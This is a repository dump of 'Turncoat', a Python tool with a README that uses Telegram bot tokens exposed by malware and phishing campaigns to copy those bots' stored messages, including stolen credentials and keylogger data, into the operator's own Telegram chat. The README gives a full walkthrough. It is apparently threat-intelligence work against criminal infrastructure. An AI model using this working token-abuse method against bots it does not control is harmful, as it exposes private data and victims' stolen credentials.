├── images ├── tc.png ├── get_chat.png ├── get_name.png ├── bot_start.png ├── search_bot.png ├── full_turncoat.png ├── example_campaign.png ├── turncoat_first10.png ├── bot_simple_message.png └── turncoat_offset_count.png ├── README.md └── turncoat.py /images/tc.png: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /images/get_chat.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DODC/turncoat/HEAD/images/get_chat.png -------------------------------------------------------------------------------- /images/get_name.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DODC/turncoat/HEAD/images/get_name.png -------------------------------------------------------------------------------- /images/bot_start.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DODC/turncoat/HEAD/images/bot_start.png -------------------------------------------------------------------------------- /images/search_bot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DODC/turncoat/HEAD/images/search_bot.png -------------------------------------------------------------------------------- /images/full_turncoat.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DODC/turncoat/HEAD/images/full_turncoat.png -------------------------------------------------------------------------------- /images/example_campaign.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DODC/turncoat/HEAD/images/example_campaign.png -------------------------------------------------------------------------------- /images/turncoat_first10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DODC/turncoat/HEAD/images/turncoat_first10.png -------------------------------------------------------------------------------- /images/bot_simple_message.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DODC/turncoat/HEAD/images/bot_simple_message.png -------------------------------------------------------------------------------- /images/turncoat_offset_count.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DODC/turncoat/HEAD/images/turncoat_offset_count.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Turncoat 2 | Tool For Enumerating Telegram Bot Secret Messages 3 | 4 | # Requirements 5 | 1. Telegram App Installed 6 | 2. Bot API Key (eg. botXXXXXXXXXX:XXXXXXXXXXXXXXXX-XXXXXXX_XXXXXXX) 7 | 3. Bot chat_id number that contains secrets 8 | 4. Python3 9 | 10 | # Summary 11 | Malware campaigns suchs as AgentTesla (as part of C2) and phishing kits will sometimes utilize Telegram Bot API calls to to do the following: 12 | * Send notifications on interaction (Phishing) 13 | * Send phished credentials (Phishing) 14 | * Send keylogger data (Malware) 15 | * Send victim desktop screenshots (Malware) 16 | * Send victim machine cookies/passwords (Malware) 17 | 18 | Often these campaigns expose the botid along with their API key. In order for Turncoat to work, we must be able to have access to the 'chat_id' that they are sending their secrets to. 19 | 20 | Thanks to the implementation of the 'copyMessage' feature, we can conduct an attack with the following methodology using access to the bot api key: 21 | 1. Retrieve the bot 'first_name' and 'username' Telegram fields using the 'getMe' request. 22 | 2. Search for the bot username on Telegram. (Manual Step) 23 | 3. Send a simple message to the bot in the private chat on Telegram. (Manual Step) 24 | 4. Retrieve our user accounts 'id' that will be utilized as 'chat_id' for the private converation utilizing the 'getUpdates' request. 25 | 5. Finally, we will tell the bot to copy whatever quantity of messages from their malware/phishing campaign using 'from_chat_id' to our private 'chat_id' using the 'copyMessage' request. 26 | 27 | # Quick Walkthrough 28 | For this example I will be using a botkey and chat_id from a phishing campaing located on urlscan.io 29 | This was chosen to highlight the script features while not exposing sensitive information as this particular campaign is only using the bot for alerting on click through and logging on the phishing page. 30 | 31 | ![alt text](https://github.com/DODC/turncoat/blob/main/images/example_campaign.png "example") 32 | 33 | * The area highlighted in green will be used as our '--botkey' value in the turncoat.py script. 34 | * The chat_id number in red will be used as our '--dropid' value later in the example when we actually copy the secret messages. 35 | 36 | 37 | 1. Open Telegram and login with the account of your choosing that you want to receive the messages from the bot. 38 | 39 | 2. python3 turncoat.py --botkey {Bot API Key} --getname 40 | ![alt text](https://github.com/DODC/turncoat/blob/main/images/get_name.png "getname") 41 | 42 | 3. In Telegram App, search for @username retrieved. Ensure that the first_name matches as well. 43 | 44 | ![alt text](https://github.com/DODC/turncoat/blob/main/images/search_bot.png "search bot username") 45 | 46 | 47 | 4. Start a private chat with the bot 48 | 49 | ![alt text](https://github.com/DODC/turncoat/blob/main/images/bot_start.png "bot start") 50 | 51 | 52 | 5. python3 turncoat.py --botkey {Bot API Key} --getchat 53 | 54 | ![alt text](https://github.com/DODC/turncoat/blob/main/images/get_chat.png "getchat") 55 | 56 | 57 | 6. 'Message From' should display your Telegram username. Copy the 'chat_id', this is your Telegram account id that can be used by bots to send you messages. 58 | 59 | 60 | 7. python3 turncoat.py --botkey {Bot API Key} -t --chatid {Your chat_id from --getchat} --dropid {malware/phishing campaign chat_id with secrets} 61 | 62 | ![alt text](https://github.com/DODC/turncoat/blob/main/images/full_turncoat.png "turncoat") 63 | 64 | 65 | 8. Check Telegram for messages 66 | 67 | ![alt text](https://github.com/DODC/turncoat/blob/main/images/turncoat_first10.png "first 10 messages") 68 | 69 | 70 | 71 | Additionally, you can specify the offset and count of messages you would like to retrieve. 72 | ![alt text](https://github.com/DODC/turncoat/blob/main/images/turncoat_offset_count.png "offset") 73 | 74 | The default offset is 1 and the default count is 10 messages. There is no simple way to determine the number of messages the bot has in the private chat, but I may look to add this feature in the future. 75 | -------------------------------------------------------------------------------- /turncoat.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import requests 3 | import json 4 | 5 | 6 | url = "https://api.telegram.org/" 7 | def getname(botkey): 8 | try: 9 | res = requests.post(url+botkey+'/getme') 10 | data = json.loads(res.text) 11 | fname = data["result"]["first_name"] 12 | uname = data["result"]["username"] 13 | print('[+] Bot First Name : '+fname) 14 | print('[+] Bot User Name : '+uname) 15 | print('[+] Send private chat message to bot in Telegram, then re run script with --getchat') 16 | except: 17 | print('[+] Error Retrieving Bot Info') 18 | 19 | 20 | def getchat(botkey): 21 | try: 22 | res = requests.post(url+botkey+'/getupdates') 23 | data = json.loads(res.text) 24 | for item in data["result"]: 25 | base = item["message"]["from"] 26 | chatid = str(base["id"]) 27 | fname = base["first_name"] 28 | print('[+] Message from '+fname) 29 | print('[+] Chat ID : '+chatid) 30 | print('[+] Choose the correct chat ID and re run script with -t or --turncoat') 31 | except: 32 | print('[+] Error Retrieving Chat ID') 33 | print('[+] Check that you have private messaged the correct bot on Telegram first') 34 | 35 | def turncoat(botkey,chatid,dropid,start,count): 36 | complete=0 37 | print('[+] Attempting to transfer '+str(count)+' messages ranged '+str(start)+' through '+str(start+count-1)) 38 | for i in range(start,start+count): 39 | try: 40 | req_data = {"from_chat_id": str(dropid), "chat_id": str(chatid), "message_id": str(i)} 41 | res = requests.post(url+botkey+'/copymessage',data=req_data) 42 | data = json.loads(res.text) 43 | if data["ok"] == True: 44 | complete+=1 45 | except: 46 | print('[+] Error transferring chat data for message ID : '+str(i)) 47 | print('[+] Total messages transferred : '+str(complete)) 48 | def main(): 49 | parser = argparse.ArgumentParser() 50 | parser.add_argument("-b", "--botkey", help="BOT API KEY") 51 | parser.add_argument("-gn", "--getname", action="store_true") 52 | parser.add_argument("-gc", "--getchat", action="store_true") 53 | parser.add_argument("-t", "--turncoat", action="store_true") 54 | parser.add_argument("-k", "--kill", action="store_true", help="Not yet implemeneted") 55 | parser.add_argument("-cid", "--chatid", help="Your chat ID") 56 | parser.add_argument("-did", "--dropid", help="Chat ID from Scam") 57 | parser.add_argument("-os", "--offset", help="(Turncoat only) Starting Message Number - Default 1") 58 | parser.add_argument("-mc", "--count", help="(Turncoat only) Total Message Count - Default 10 messages") 59 | args = parser.parse_args() 60 | print(''' 61 | 62 | __ __| | | _ \ \ | ___| _ \ \ __ __| 63 | | | | | | \ | | | | _ \ | 64 | | | | __ < |\ | | | | ___ \ | 65 | _| \___/ _| \_\_| \_|\____|\___/_/ _\_| 66 | by DODC 67 | ''') 68 | if args.botkey: 69 | if args.getname: 70 | print('[+] Retrieving Bot Info') 71 | getname(args.botkey) 72 | elif args.getchat: 73 | print('[+] Retrieving Chat Info') 74 | getchat(args.botkey) 75 | elif args.turncoat: 76 | if args.chatid and args.dropid: 77 | print('[+] Turn Coat Initiated') 78 | print('[+] Attempting Chat Transfer') 79 | if args.offset: 80 | start = args.offset 81 | else: 82 | start = 1 83 | if args.count: 84 | count = args.count 85 | else: 86 | count = 10 87 | turncoat(args.botkey,args.chatid,args.dropid,int(start),int(count)) 88 | elif args.chatid: 89 | print('[+] Drop Chat ID Required as -did or --dropid') 90 | elif args.dropid: 91 | print('[+] Your Telegram chat ID is required as -cid or --chatid') 92 | print('[+] Run script with -gc or --getchat to retrieve') 93 | else: 94 | print('[+] No Options Selected') 95 | parser.print_help() 96 | else: 97 | print('[+] BOT KEY REQUIRED using -b or --botkey') 98 | 99 | 100 | 101 | if __name__ == "__main__": 102 | main() 103 | --------------------------------------------------------------------------------